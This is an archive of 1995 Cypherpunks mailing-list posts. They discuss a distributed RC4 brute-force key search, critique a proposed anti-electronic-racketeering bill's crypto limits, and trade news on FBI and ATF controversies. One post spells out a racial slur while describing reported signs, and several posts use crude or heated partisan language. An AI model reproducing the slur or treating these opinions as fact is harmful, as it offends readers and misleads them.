          cause as sure as I'm a poet, the sucker's gonna hang!
 
       When the copy of your floppy's getting sloppy on the disk,
         and the microcode instructions cause unnecessary risc,
  then you have to flash your memory and you'll want to RAM your ROM.
      Quickly turn off your computer and be sure to tell your mom!
 
              (God bless you Dr. Seuss wherever you are!)
 
+----------------------------------------------------------------------+

  Origin: COBRUS - Usenet-to-Fidonet Distribution System (1:2613/335.0)

 -30-

TTFN.
Chris
--
| Fidonet:  Christopher Baker 1:374/14
| Internet: Christopher.Baker at f14.n374.z1.fidonet.org
| via Borderline! uucp<->Fido{ftn}gate Project +1-818-893-1899






From asb at nexor.co.uk  Thu Jul 13 01:31:32 1995
From: asb at nexor.co.uk (Andy Brown)
Date: Thu, 13 Jul 95 01:31:32 PDT
Subject: general RC4 key searcher: optimisations anyone?
In-Reply-To: <9507121753.AA08575@vail.tivoli.com>
Message-ID: <Pine.SOL.3.91.950713092431.1552C-100000@eagle.nexor.co.uk>


On Wed, 12 Jul 1995, Mike McNally wrote:

> Jonathan Shekter writes:
>  > >After all, the kind of really high powered systems that can make a
>  > >large dent in the key space are not running Windows NT.
>  > 
>  > 	Umm... ever hear of an Alpha?

When I stuck that comment in I had in mind the message that appeared here 
in the list from someone at maspar.com, where their machines make our 
workstations look rather pedestrian.  Agreed, though, Alpha's are nice 
(I'm typing this message on one).

> Also, I've been quite impressed with the Pentium times.  It must have
> something to do with the "friendliness" towards byte operations in the
> Intel architecture.

The Pentium's integer performance in general is very good, right up there 
with the more expensive Sparc according to the figures I saw in one of 
the linux newsgroups a while back.  Unfortunately the same cannot be said 
for the relative performance of its FPU, Intel needs to do a lot of work 
there to catch up.


- Andy

+-------------------------------------------------------------------------+
| Andrew Brown  Internet <asb at nexor.co.uk>  Telephone +44 115 952 0585    |
| PGP (2048/9611055D): 69 AA EF 72 80 7A 63 3A  C0 1F 9F 66 64 02 4C 88   |
+-------------------------------------------------------------------------+





From don at cs.byu.edu  Thu Jul 13 02:24:11 1995
From: don at cs.byu.edu (Donald M. Kitchen)
Date: Thu, 13 Jul 95 02:24:11 PDT
Subject: Claiming unwanted keyspace
Message-ID: <199507130932.DAA18813@zeezrom.cs.byu.edu>


I have begun searching the unwanted 31 bit keyspace cd70000000 to cdefffffff
and according to my calculations will be able to search two blocks of
31 bits a night until I get bored of starting the searches.

I will be running 8+ hp9000/715s at 27,200 keys/second each.

If someone was planning on searching this keyspace, let's decide on it.

Thanks to those who helped me get going.


Don




From tfs at vampire.science.gmu.edu  Thu Jul 13 03:24:31 1995
From: tfs at vampire.science.gmu.edu (Tim Scanlon)
Date: Thu, 13 Jul 95 03:24:31 PDT
Subject: Don't trust the net too much  (or at all)
In-Reply-To: <Pine.3.89.9507102051.G1184-0100000@khijol>
Message-ID: <9507131022.AA09335@vampire.science.gmu.edu>


"Ed Carp [khijol Sysadmin]" <erc at khijol.intele.net> writes:

|The POPs communicate with Netcom in San Jose.  As I understand it, Netcom
|isn't a true distributed computing environment - all the server machines
|are in San Jose.  Take out the servers, you take out the ISP.

There's no need to use bombs, guns, any of that nastiness.
As somone pointed to here allready, it's far easier and
safer to use technical means.

Unfortunatly for far too many ISP's, saying security is like
speaking words in an alien tounge. They just don't get it,
and even if they do, they don't want to spend the money on
it, or worse yet, (and more commonly lately) allocate some
poor sod who becomes the overnight expert on it, which is worse
than admitting that it's not a high priority.

Basicly, it amounts to hack 'em and drop 'em.

What is to prevent the [hostiles] from trying to develop
code to secretly monitor machines at ISP's and other
places? And then just take them out whenever they want...
Nothing I belive.

Except perhaps the security offered by decent & avalible
encryption.


Tim Scanlon



________________________________________________________________
tfs at vampire.science.gmu.edu (NeXTmail, MIME)  Tim Scanlon
George Mason University     (PGP key avail.)  Public Affairs
I speak for myself, but often claim demonic possession






From tfs at vampire.science.gmu.edu  Thu Jul 13 03:34:24 1995
From: tfs at vampire.science.gmu.edu (Tim Scanlon)
Date: Thu, 13 Jul 95 03:34:24 PDT
Subject: Speedup of bruterc4.c
In-Reply-To: <Pine.SOL.3.91.950711094531.24661C-100000@eagle.nexor.co.uk>
Message-ID: <9507131033.AA09374@vampire.science.gmu.edu>



Has anyone paralellized this code? I'm interested in running it
on a paragon. Email me if you have or if you think this is worth
bothering with.

Tim






From tfs at vampire.science.gmu.edu  Thu Jul 13 03:50:05 1995
From: tfs at vampire.science.gmu.edu (Tim Scanlon)
Date: Thu, 13 Jul 95 03:50:05 PDT
Subject: RACIST MILITIA: ATF
In-Reply-To: <m0sVs4F-000BYfC@dorite1.iquest.net>
Message-ID: <9507131048.AA09393@vampire.science.gmu.edu>



I can confirm this, and a story was broadcast on the local
ABC news affiliate (WJLA) that talked about this and Waco
some. Congressional hearings by the senate have been sceduled
as a result. I saw vidiotape of the signs referenced in the
article posted to the list. I did not see T-Shirts, but I
did see a whole lot of 'confederate flags' as well as allot
of serious drinking and hell raising by burly dudes who
looked like they'd be more comfortable in body armor.


Tim Scanlon

________________________________________________________________
tfs at vampire.science.gmu.edu (NeXTmail, MIME)  Tim Scanlon
George Mason University     (PGP key avail.)  Public Affairs
I speak for myself, but often claim demonic possession





From lmccarth at cs.umass.edu  Thu Jul 13 03:59:25 1995
From: lmccarth at cs.umass.edu (L. McCarthy)
Date: Thu, 13 Jul 95 03:59:25 PDT
Subject: Anti-Electronic Racketeering Act of 1995 (fwd)
In-Reply-To: <Pine.SOL.3.91.950712171632.1850A-100000@use.usit.net>
Message-ID: <9507131059.AA20485@cs.umass.edu>


-----BEGIN PGP SIGNED MESSAGE-----

"If you read one thread this year, read this one"

One way to find the following text is to look up S.974 on Thomas,
http://thomas.loc.gov/, and follow the "references to this bill in the
Congressional Record" link. Here's the URL I used, but I suspect this query
won't work from scratch: 
http://rs9.loc.gov/cgi-bin/query/2?r104:./temp/~r10443Io:e50455:+ at 1(S.+974)++

Deep down, I didn't truly believe it would come to this. Now I'm a believer.
I've inserted a few comments. If they seem alarmist, perhaps it's because
I'm alarmed !  I actually find Grassley's comments more frightening than the
text of the bill itself....

I get the impression that this amendment might also jeopardize anonymous
digital cash; Sec. 1030 (a) (3) makes it unlawful to "use a computer or
computer network to transmit a communication intended to conceal or hide the
origin of money or other assets, tangible or intangible, that were derived
from racketeering activity."  All these limitations on cryptography and
privacy seem to shift the effective burden of proof from the prosecution to
the defense -- Jennifer Q. Public can't keep anything out of the prosecution's
eyes, in case she might be laundering Mafia dough. 

If they're pursuing a similar argument with this amendment, anonymous
remailing may be in trouble too. 

 --- Begin Included Text ---

STATEMENTS ON INTRODUCED BILLS AND JOINT RESOLUTIONS (Senate - June
27, 1995) 
Sen. GRASSLEY

Mr. GRASSLEY. Mr. President, I rise this evening to introduce the
Anti-electronic Racketeering Act of 1995. This bill makes important changes
to RICO and criminalizes deliberately using computer technology to engage in
criminal activity. I believe this bill is a reasonable, measured and strong
response to a growing problem. According to the computer emergency and
response team at Carnegie-Mellon University, during 1994, about 40,000
computer users were attacked. Virus hacker, the FBI's national computer
crime squad has investigated over 200 cases since 1991. So, computer crime is
clearly on the rise.

Mr. President, I suppose that some of this is just natural. Whenever man
develops a new technology, that technology will be abused by some. And that
is why I have introduced this bill. 

<< to make sure nobody can use it, lest they "abuse" it...

I believe we need to seriously reconsider
the Federal Criminal Code with an eye toward modernizing existing statutes
and creating new ones. In other words, Mr. President, Elliot Ness needs to
meet the Internet.

Mr. President, I sit on the Board of the Office of Technology Assessment.
That Office has clearly indicated that organized crime has entered cyberspace
in a big way. International drug cartels use computers to launder drug money
and terrorists like the Oklahoma City bombers use computers to conspire to
commit crimes.

<< I haven't heard much to suggest that McVeigh was using a
<< computer for anything, but we all saw this line coming, right ?
<< 3 of Tim's 4 Horsemen of the Infocalypse figure prominently here; I guess
<< Exon & Gorton have ridden off after the fourth already....

Computer fraud accounts for the loss of millions of dollars per year. And
often times, there is little that can be done about this because the computer
used to commit the crimes is located overseas. So, under my bill, overseas
computer users who employ their computers to commit fraud in the United
States would be fully subject to the Federal criminal laws. 

<< So the U.S. Government now considers, among other things, the entire
<< Internet to fall under its jurisdiction. I think he's referring to 
<< Sec. 1030 A (g). The provisions of that subsection apply to the entire
<< enclosing section, which under this amendment would include the
<< prohibition on non-GAK crypto on the net.

Also under my
bill, Mr. President, the wire fraud statute which has been successfully used by
prosecutors for many users, will be amended to make fraudulent schemes
which use computers a crime.

It is not enough to simply modernize the Criminal Code. We also

have to reconsider many of the difficult procedural burdens that prosecutors
must overcome. For instance, in the typical case, prosecutors must identify a
location in order to get a wiretapping order. But in cyberspace, it is often
impossible to determine the location. And so my bill corrects that so that if
prosecutors cannot, with the exercise of effort, give the court a location, then
those prosecutors can still get a wiretapping order. 

<< I'm not sure where in the bill this is delineated. Would the police be
<< given a carte blanche to root around wherever the mood strikes them ?

And for law
enforcers--both State and Federal--who have seized a computer which
contains both contraband or evidence and purely private material, I have
created a good-faith standard so that law enforcers are not shackled by
undue restrictions but will also be punished for bad faith.

<< All together now: "TRUST US"

Mr. President, this brave new world of electronic communications and global
computer networks holds much promise. But like almost anything, there is the
potential for abuse and harm. That is why I urge my colleagues to support
this bill and that is why I urge industry to support this bill.

On a final note, I would say that we should not be too scared of
technology. 

<< Did a staffer write this ?

After all, we are still just people and right is still right and
wrong is still wrong. Some things change and some things do not. 

<< Did George Bush write this ?

All that
my bill does is say you can't use computers to steal, to threaten others or
conceal criminal conduct.

<< Ah, if that's all it does, why not scrap the whole thing and not waste
<< the Senate's valuable time ?  After all, stealing, threatening, and
<< concealing criminal conduct are already outlawed....

Mr. President, I ask unanimous consent that the text of the bill be printed
in the Record.

There being no objection, the bill was ordered to be printed in the Record,
as follows:
[...]

 --- End Included Text ---

<< -Lewis "Futplex" McCarthy <lmccarth at cs.umass.edu>
<< I am not a lawyer

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBMAT8VGf7YYibNzjpAQEuWwQAx4dzd38Cj/2nwR/gDd89TmztX6KlG/cM
Aq7veVSH6aEw/8OcHvaiROhIcDww5xJwGFcQXFil1v5sJvg7667e93ybhIiv0Hw1
0/XRvwh0K1pG3GkozISJLPSeuz8EHlZukpV8fv3iZxuSdbIMGJYQT0WmvB736RuW
yF9b047mX4E=
=G4jp
-----END PGP SIGNATURE-----




From lmccarth at cs.umass.edu  Thu Jul 13 05:12:07 1995
From: lmccarth at cs.umass.edu (L. McCarthy)
Date: Thu, 13 Jul 95 05:12:07 PDT
Subject: Anti-Electronic Racketeering Act of 1995 (fwd)
In-Reply-To: <9507122221.AA24506@toad.com>
Message-ID: <9507131212.AA21613@cs.umass.edu>


bal writes:
> It's much worse than this.  Look at the definition of "predicate act":
> 
>             `(b) For purposes of this section, each act of distributing
>           software is considered a separate predicate act. Each instance in
>           which nonexportable software is accessed by a foreign government, 
>           an agent of a foreign government, a foreign national, or an agent 
>           of a foreign national, shall be considered as a separate predicate
>           act.
> 
> Now, since the bill also makes 1030A violations "racketeering
> activities", all you need are two predicate acts and RICO comes into
> play.  

In the subsection that explicitly mentions crypto, it says that it's
unlawful to put (non-GAK) crypto on an open net, "regardless of whether such
software has been designated non-exportable". If the phrase "nonexportable"
means the same thing in the context of this subsection, then provision (b)
would only seem to apply RICO to stuff that already falls under ITAR.

For whatever it covers, this provision conveniently makes you liable for the
actions of others. I could see quid pro quo between governments coming into
play here. They can get practically anyone connected with a foreign country 
to click a button on a Web browser, download PGP half a dozen times, and then
hit you with 7 counts of racketeering. Hey, they could run a net searcher
daemon that automatically snags a heap of copies of anything it finds that
looks like a non-GAK crypto app.  

[...]
> Get a copy of this bill from:
> 
> 		ftp://ftp.loc.gov/pub/thomas/c104/s974.is.FTP
> 
> and read it.  
> 
> 					--bal

-Futplex <futplex at pseudonym.com>




From jya at pipeline.com  Thu Jul 13 05:52:52 1995
From: jya at pipeline.com (John Young)
Date: Thu, 13 Jul 95 05:52:52 PDT
Subject: LOU_nex
Message-ID: <199507131252.IAA01827@pipe3.nyc.pipeline.com>


   7-13-95. NYPaper Page Oner:


   "Senior F.B.I. Agent Suspended in Probe Of a Deadly Siege."

      The Federal Bureau of Investigation has suspended a
      senior career agent as a result of a Justice Department
      inquiry into whether officials destroyed important
      documents about the agency's bloody 1992 standoff with
      a white separatist in Idaho, law-enforcement officials
      said today. The suspension of the agent, E. Michael
      Kahoe, who was an official at F.B.I. headquarters during
      the Idaho siege, sent a shock wave through the agency's
      upper ranks.                                   LOU_nex












From unicorn at access.digex.net  Thu Jul 13 05:58:34 1995
From: unicorn at access.digex.net (Black Unicorn)
Date: Thu, 13 Jul 95 05:58:34 PDT
Subject: LOU_nex
In-Reply-To: <199507131252.IAA01827@pipe3.nyc.pipeline.com>
Message-ID: <Pine.SUN.3.91.950713085642.25760A-100000@access2.digex.net>


On Thu, 13 Jul 1995, John Young wrote:

> Date: Thu, 13 Jul 1995 08:52:50 -0400
> From: John Young <jya at pipeline.com>
> To: cypherpunks at toad.com
> Subject: LOU_nex 
> 
>    7-13-95. NYPaper Page Oner:
> 
> 
>    "Senior F.B.I. Agent Suspended in Probe Of a Deadly Siege."
> 
>       The Federal Bureau of Investigation has suspended a
>       senior career agent as a result of a Justice Department
>       inquiry into whether officials destroyed important
>       documents about the agency's bloody 1992 standoff with
>       a white separatist in Idaho, law-enforcement officials
>       said today. The suspension of the agent, E. Michael
>       Kahoe, who was an official at F.B.I. headquarters during
>       the Idaho siege, sent a shock wave through the agency's
>       upper ranks.

Lemme guess, suspended to the Bahamas while the promotion committee meets.

00B9289C28DC0E55 nemo repente fuit turpissimus - potestas scientiae in usu est
E16D5378B81E1C96 quaere verum ad infinitum, loquitur sub rosa    -    wichtig!
*New Key Information*    -    Finger for key revocation and latest key update.






From jmm0021 at alamo.net  Thu Jul 13 06:09:07 1995
From: jmm0021 at alamo.net (Jason Montgomery)
Date: Thu, 13 Jul 95 06:09:07 PDT
Subject: There is a God
Message-ID: <2yc78c1w165w@alamo.net>


On ABC's latenight news program I just saw a story that renewed my faith 
that there is a God and he is brown.  It seems that the Alabama Milita 
was able to film a ATF event that was truly horrifing to behold.  Nigger 
Hunging Licenses and the works.  Well our friends in Alabama gave the 
tapes to ABC and the story was blown wide open.  Our friends from Alabama 
in the pursuit of the ATF did the world a great service and completely 
restored my faith in America.

Jason Montgomery

ps.  The spelling errors are all mine its 6 in the morning and im out of 
caffine.

----------------------------------------------------------------
Jason Montgomery                            
jmm0021 at alamo.net                           
----------------------------------------------------------------
 





From koontz at MasPar.COM  Thu Jul 13 06:30:01 1995
From: koontz at MasPar.COM (koontz at MasPar.COM)
Date: Thu, 13 Jul 95 06:30:01 PDT
Subject: Anti-Electronic Racketeering Act of 1995 (fwd)
Message-ID: <9507131331.AA00800@homeboy.local>


>      "(2) to distribute computer software that encodes or encrypts
>    electronic or digital communications to computer networks that the
>    person distributing knows, or reasonably should know, is accessible to
>    foreign nationals and foreign governments, regardless of whether such
>    software has been designated nonexportable."

It would be kind of nice if we could get some first amendment protection
for electronic media speech.

Next thing you know they will want to extend RICO to librarians.





From koontz at MasPar.COM  Thu Jul 13 06:39:32 1995
From: koontz at MasPar.COM (koontz at MasPar.COM)
Date: Thu, 13 Jul 95 06:39:32 PDT
Subject: Anti-Electronic Racketeering Act of 1995 (fwd)
Message-ID: <9507131341.AA00807@homeboy.local>


Even scarier is the Storm Trooper Exception (ala Steve Jackson):

            (j) Privacy Protection Act: Section 101 of the Privacy Protection
          Act of 1980 (42 U.S.C. 2000aa) is amended--
                (1) in subsection (a)--
                    (A) by striking `or' at the end of paragraph (1);
                    (B) by striking the period at the end of paragraph (2) 
                  and inserting `; or'; and
                    (C) by adding at the end the following new paragraph:
                `(3) there is reason to believe that the immediate seizure of
              such materials is necessary to prevent the destruction or
              altercation of such documents.'; and
                (2) in subsection (b)--
                    (A) by striking `or' at the end of paragraph (3);
                    (B) by striking the period at the end of paragraph (4) 
                  and inserting `; or'; and
                    (C) by adding at the end the following new paragraph:
                `(5) in the case of electronically stored data, the seizure 
              is incidental to an otherwise valid seizure, and the government
              officer or employee--
                    `(A) was not aware that work product material was among
                  the data seized;
                    `(B) upon actual discovery of the existence of work
                  product materials, the government officer or employee took
                  reasonable steps to protect the privacy interests 
                  recognized by this section, including--
                        `(i) using utility software to seek and identify
                      electronically stored data that may be commingled or
                      combined with non-work product material; and
                        `(ii) upon actual identification of such material,
                      taking reasonable steps to protect the privacy of the
                      material, including seeking a search warrant.'.





From danisch at ira.uka.de  Thu Jul 13 07:13:14 1995
From: danisch at ira.uka.de (Hadmut Danisch)
Date: Thu, 13 Jul 95 07:13:14 PDT
Subject: Steganography Mailing List
Message-ID: <9507131353.AA03886@elysion.iaks.ira.uka.de>



For those who are interested:

A Steganography mailing list was created. The mail server is
in Germany, but we decided to talk english on the list.

Details can be found on http://www.thur.de/ulf/stegano/

Hadmut





From frissell at panix.com  Thu Jul 13 07:13:42 1995
From: frissell at panix.com (Duncan Frissell)
Date: Thu, 13 Jul 95 07:13:42 PDT
Subject: Anti-Electronic Racketeering Act of 1995 (fwd)
Message-ID: <199507131412.KAA07969@panix.com>


At 06:20 PM 7/12/95 -0400, Brian A. LaMacchia wrote:
>Finally, we begin to see the attack on all forms of un-escrowed
>encryption.  The bill provides an affirmable defense of
>giving the keys to the government ahead of time!
>
>            `(c) It shall be an affirmative defense to prosecution under this
>          section that the software at issue used a universal decoding device
>          or program that was provided to the Department of Justice prior to
>          the distribution.'.

We'll just supply the feds with some of the key testing code developed for
collective cracking of RSA-129 or RC4.  That code is "a universal decoding device or program."  All it takes is a few years... <g>

DCF

"Since the Occupational Safety and Health Administration started 'protecting' us, there has been no significant decline in work place injuries." 





From unicorn at access.digex.net  Thu Jul 13 07:18:45 1995
From: unicorn at access.digex.net (Black Unicorn)
Date: Thu, 13 Jul 95 07:18:45 PDT
Subject: Anti-Electronic Racketeering Act of 1995 (fwd)
In-Reply-To: <199507131412.KAA07969@panix.com>
Message-ID: <Pine.SUN.3.91.950713101705.366A-100000@access1.digex.net>


On Thu, 13 Jul 1995, Duncan Frissell wrote:

> Date: Thu, 13 Jul 1995 10:12:51 -0400
> From: Duncan Frissell <frissell at panix.com>
> To: bal at martigny.ai.mit.edu
> Cc: cypherpunks at toad.com
> Subject: Re: Anti-Electronic Racketeering Act of 1995 (fwd)
> 
> At 06:20 PM 7/12/95 -0400, Brian A. LaMacchia wrote:
> >Finally, we begin to see the attack on all forms of un-escrowed
> >encryption.  The bill provides an affirmable defense of
> >giving the keys to the government ahead of time!
> >
> >            `(c) It shall be an affirmative defense to prosecution under this
> >          section that the software at issue used a universal decoding device
> >          or program that was provided to the Department of Justice prior to
> >          the distribution.'.
> 
> We'll just supply the feds with some of the key testing code developed for
> collective cracking of RSA-129 or RC4.  That code is "a universal decoding device or program."  All it takes is a few years... <g>

We need stealth encryption.

PERIOD.


> 
> DCF
> 
> "Since the Occupational Safety and Health Administration started
> 'protecting' us, there has been no significant decline in work place 
> injuries."


00B9289C28DC0E55 nemo repente fuit turpissimus - potestas scientiae in usu est
E16D5378B81E1C96 quaere verum ad infinitum, loquitur sub rosa    -    wichtig!
*New Key Information*    -    Finger for key revocation and latest key update.






From bob at kc2wz.bubble.org  Thu Jul 13 07:42:09 1995
From: bob at kc2wz.bubble.org (Bob Billson)
Date: Thu, 13 Jul 95 07:42:09 PDT
Subject: LOU_nex
Message-ID: <9507131009.AA11503@kc2wz.bubble.org>


Black Unicorn <access.digex.net!unicorn> wrote:
>>       Kahoe, who was an official at F.B.I. headquarters during
>>       the Idaho siege, sent a shock wave through the agency's
>>       upper ranks.
>
>Lemme guess, suspended to the Bahamas while the promotion committee meets.

...soon to be followed with retirement at full government pension.





From weld at l0pht.com  Thu Jul 13 07:56:36 1995
From: weld at l0pht.com (Weld Pond)
Date: Thu, 13 Jul 95 07:56:36 PDT
Subject: Anti-Electronic Racketeering Act of 1995 (fwd)
Message-ID: <Pine.3.89.9507131057.A1888-0100000@l0pht>


Duncan Frissell <frissell at panix.com> wrote:
---------------Original Message---------------
We'll just supply the feds with some of the key testing code developed for
collective cracking of RSA-129 or RC4.  That code is "a universal 
decoding device or program."  All it takes is a few years... <g>

DCF
----------End of Original Message----------

That raises an interesting issue.  How difficult to use or how time 
consuming can a program or method be to be considered "a universal 
decoding device or program."  Can I give the feds a program that will 
crack my messages in a few days when run on one of their supercomputers?
If this is not acceptable what will be their rational?

Will they have to invent a huge new bureaucracy to manage all these 
devices and programs?  Theoretically, every person in the US could submit 
many different devices and programs.  One could bank on the feds losing 
or misplacing your program if they were innundated enough.  Can you 
destroy your only copy of the "universal decoding program" after giving 
them their copy?  Does every message or file I encrypt need a cleartext 
header that describes which of my escrowed devices or programs wil decrypt 
it? 

There are many problems with this idea of Government Access to Devices or 
Programs (GADOP).  A toolset that could build many different encryption 
and decryption variations based on psuedo-random input may be a good tool 
to fight this nonsense.
 
      Weld Pond   -  weld at l0pht.com   -   http://www.l0pht.com/~weld
      L  0  p  h  t    H  e  a  v  y    I  n  d  u  s  t  r  i  e  s          
      Technical archives for the people  -  Bio/Electro/Crypto/Radio






From bal at martigny.ai.mit.edu  Thu Jul 13 08:19:49 1995
From: bal at martigny.ai.mit.edu (Brian A. LaMacchia)
Date: Thu, 13 Jul 95 08:19:49 PDT
Subject: Anti-Electronic Racketeering Act of 1995 (fwd)
In-Reply-To: <9507131212.AA21613@cs.umass.edu>
Message-ID: <9507131519.AA17335@toad.com>


   From: lmccarth at cs.umass.edu (L. McCarthy)
   Date: Thu, 13 Jul 1995 08:12:00 -0400 (EDT)
   Reply-To: cypherpunks at toad.com (Cypherpunks Mailing List)

   bal writes:
   > It's much worse than this.  Look at the definition of "predicate act":
   > 
   >             `(b) For purposes of this section, each act of distributing
   >           software is considered a separate predicate act. Each instance in
   >           which nonexportable software is accessed by a foreign government, 
   >           an agent of a foreign government, a foreign national, or an agent 
   >           of a foreign national, shall be considered as a separate predicate
   >           act.
   > 
   > Now, since the bill also makes 1030A violations "racketeering
   > activities", all you need are two predicate acts and RICO comes into
   > play.  

   In the subsection that explicitly mentions crypto, it says that it's
   unlawful to put (non-GAK) crypto on an open net, "regardless of whether such
   software has been designated non-exportable". If the phrase "nonexportable"
   means the same thing in the context of this subsection, then provision (b)
   would only seem to apply RICO to stuff that already falls under ITAR.

What worries me is the first sentence: "each act of distributing
software is considered a predicate act."  It's not clear to me whether
this applies to (a)(1) unlicensed software or (a)(2) encryption programs
(or perhaps both).  Notice that (a)(1) says "transfer" not "distribute".
Perhaps the act of putting Alleged-RC4 on a FTP site is one act and
mailing a copy to Cypherpunks is another act.  That might be two
distributions and thus two predicate acts.

					--bal






From perry at imsi.com  Thu Jul 13 08:35:43 1995
From: perry at imsi.com (Perry E. Metzger)
Date: Thu, 13 Jul 95 08:35:43 PDT
Subject: Anti-Electronic Racketeering Act of 1995 (fwd)
In-Reply-To: <9507131519.AA17335@toad.com>
Message-ID: <9507131535.AA12389@snark.imsi.com>



"Brian A. LaMacchia" writes:
> What worries me is the first sentence: "each act of distributing
> software is considered a predicate act."

This breakup into seperate counts business is a common means of
striking terror into people. Its what gets done in the securities
industry, where if you mail a letter with an error in it to fifty
people it becomes fifty seperate counts of fraud and you can go to
jail for several hundred years even with parole. I'm not making this
up.

This law would also criminalize selling crypto software -- even
emasculated crypto software -- at Egghead, by the way. Remember, even
*if the crypto software is exportable* its a crime. It also would
criminalize the distribution of ROT-13. I'm not making either of these
things up.

I'll invoke Godwin's rule right now. The person who thought this up is
a Nazi. Its obviously not the Senator, who must be a dupe for some
national security types -- the Senator probably wouldn't know a crypto
program if it hit him on the head with a sledgehammer.  Its also
obvious that they don't think the whole thing will pass -- this is a
way of getting a "compromise" that merely outlaws all useful
encryption. "Compromise" in Washington-speak means "take down your
pants and prepare to be buggered."

Perry






From stu at nemesis  Thu Jul 13 08:52:28 1995
From: stu at nemesis (Stuart Smith)
Date: Thu, 13 Jul 95 08:52:28 PDT
Subject: A more sophisticated form of moderation.
In-Reply-To: <199507111845.AA16926@uxa.cso.uiuc.edu>
Message-ID: <m0sWLbm-0007HvC@nemesis>


-----BEGIN PGP SIGNED MESSAGE-----

In article <199507111845.AA16926 at uxa.cso.uiuc.edu> you write:
>Specifically, I was thinking along the lines of a newsgroup where only
>selected individuals are able to post, but anybody who wants to can read
>the group.  However, the "selected individuals" could fall into several
>categories.
<snip>

I think this is the wrong direction to go - I mean certainly, if a given
newsgroup or mailing list wants to have a secret decoder ring that one needs
to be in possession of to be allowed to post, they're more than welcome -
but viewer/reader/receiver level filtering is the way to go.  Most
newsreaders have kill files, a newsreader called strn (Scoring Threaded Read
News) takes it a step further.

In strn you have "score files" for hierarchies, groups, or certain topics,
and within these files you specify rules by which each article is given a
score.  You can then have all the articles below a certain score auto-killed
or you can just be presented with a list of articles, sorted highest score
to lowest.  This lets you not only, select you who *don't* want to read, as
a killfile does, but it also lets you choose who you *do* want to read, even
though every idiot can post.  This gets around the messy censorship
questions.

I use a program that takes a mailing list and posts it to a local newsgroup,
so I can read cypherpunks like I read news.  I tried to select the more
intelligent posters by giving them high scores, but I found it became rather
pointless, as most of the posters (with a few notable exceptions) are
worthwhile reading.  It is still useful for subject filtering however.

In any case, the concepts implemented in strn could easily be expanded and
coded into other popular newsreaders and mail agents.  I think this is a
much better solution.

Just a quick add-on thought - this whole discussion started from people
talking about moderation - the above is my answer to those who say we (or
any group) *needs* moderation.  If any group nonetheless *chooses* to
moderate, I have no quibble, but it cannot be said that it is necessary to
extract signal from noise.  I enjoy several moderated newsgroups and
mailing lists, and wouldn't give them up for the world, but it's not for
everyone.  I think this is a good example of repuations at work, in good
cypherpunk form.  I read moderated groups and lists where the moderater in
question has shown good form and judgement and thus has a good reputation -
I would avoid groups moderated by those who demonstrate otherwise.

It was pointed out that there is a moderated cypherpunks list (I don't know
anything about - I'm assuming its some one who gets the list and forwards
some part of it, the signal, to the smaller "moderated" list)  This is
really good example of moderation in that the unmoderated raw feed is still
available.  Imagine if there were two groups, rec.arts.erotica and
rec.arts.erotica.moderated or somesuch, the latter being a subset of the
former.  That way everybody gets to have their cake and eat it too.

- --
 Baba baby mama shaggy papa baba bro baba rock a shaggy baba sister
shag saggy hey doc baba baby shaggy hey baba can you dig it baba baba
E7 E3 90 7E 16 2E F3 45  *   Stuart Smith  *  28 24 2E C6 03 02 37 5C 
     <stu at nemesis.wimsey.com>  *  http://www.wimsey.com/~ssmith/

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBMAT21ai5iP4JtEWBAQEx1wP7BthRjlkOveACG8lbAPDu9b52PznTdEh7
TYLyZGR9/HqQc3ExLMb0051Lo3LaSbh4T7BM6/ZHNOeLZpi4lVqzu7fJCK2dA33Q
a2emExbanU/YPnIdiuZZ/bOcWhUbmdDRJ0TttNja1jLpmokQ6RpYs3P2ke+jfi19
rjCwQYhc4oM=
=hxjj
-----END PGP SIGNATURE-----





From tbyfield at panix.com  Thu Jul 13 09:03:12 1995
From: tbyfield at panix.com (Ted Byfield)
Date: Thu, 13 Jul 95 09:03:12 PDT
Subject: Anti-Everything-Ever Act
Message-ID: <v02120d01ac2aaff901f4@[166.84.253.144]>


Grassley's latest nonsense has got me thinking again about the rapidly
rising demonization of computers/networks/the net/etc. Remarks like...

>the wire fraud statute which has been successfully used by prosecutors for
>many use[r]s, will be amended to make fraudulent schemes which use computers
>a crime.

        ...boggle the mind, since it'd be all but impossible to commit wire
fraud _without_ involving a "computer." The obvious effect of legislation
crafted according this kind of pseudo-thought would/will be to ensure that
there's a very firm line between, bluntly, haves and have-nots--"haves"
being those who are exempted by various legal machinations from this
ever-expanding universe of recriminalizations of the same old actions. If
Arthur commits wire fraud, he's making use of telcos' "computers" and wires
to commit fraud; is his action qualitatively different if he uses NetPhone
or Maven to accomplish exactly the same deed? If he uses a 12-yr-old
answering machine in the process, he probably isn't using a "computer" to
commit wire fraud; but if he uses a brand-new digital machine, or his kids
got him a Compaq Presario, and he uses it for voice mail--he probably _is_
using a "computer." It can't reasonably be argued that the use of newer
technology has any effect whatsoever--but it can of course be legislated.
We're seeing more and more of this addle-headed legislation coming down the
pike, and more and more of it will eventually become law: the effect, above
all, will be to make just about any use of a computer potentially quite
dangerous. For example, lying about your income on a credit card
application is, I'm told, potential bank fraud; if things continue as they
are, soon enough Mary could get slapped with yet another charge for
printing answers on her dishonest application rather than writing them by
hand. That isn't in any legislation I've seen, but how far off can it be?
        I know, I know, I'm preaching to the choir... Why? I'm going to
start working on an essay (and if the wind blows right, it'll be an op-ed)
about this hazy question--not that op-eds have much effect. :( Anyway, if
any of y'all have archived remarks by various Kongress types, pointers, dim
memories about spectacularly stupid statements, please send them my way off
list: the essay's going to focus not on legislation per so but, rather, on
the remarks that'll show how little these guys understand and how dangerous
their incomprehension is.
        Much obliged,

Ted







From hayden at krypton.mankato.msus.edu  Thu Jul 13 09:19:32 1995
From: hayden at krypton.mankato.msus.edu (Robert A. Hayden)
Date: Thu, 13 Jul 95 09:19:32 PDT
Subject: Anti-Electronic Racketeering Act of 1995 (fwd)
In-Reply-To: <9507131519.AA17335@toad.com>
Message-ID: <Pine.ULT.3.91.950713111812.3076A-100000@krypton.mankato.msus.edu>


On Thu, 13 Jul 1995, Brian A. LaMacchia wrote:

> What worries me is the first sentence: "each act of distributing
> software is considered a predicate act."  It's not clear to me whether
> this applies to (a)(1) unlicensed software or (a)(2) encryption programs
> (or perhaps both).  Notice that (a)(1) says "transfer" not "distribute".
> Perhaps the act of putting Alleged-RC4 on a FTP site is one act and
> mailing a copy to Cypherpunks is another act.  That might be two
> distributions and thus two predicate acts.

Of course, when you mail it to the cypherpunks list, the program goes to 
500+ people, sot hat's 500+ acts.  And who knows how many people connect 
to the FTP site, but everybody on the internet COULD connect, so that's 
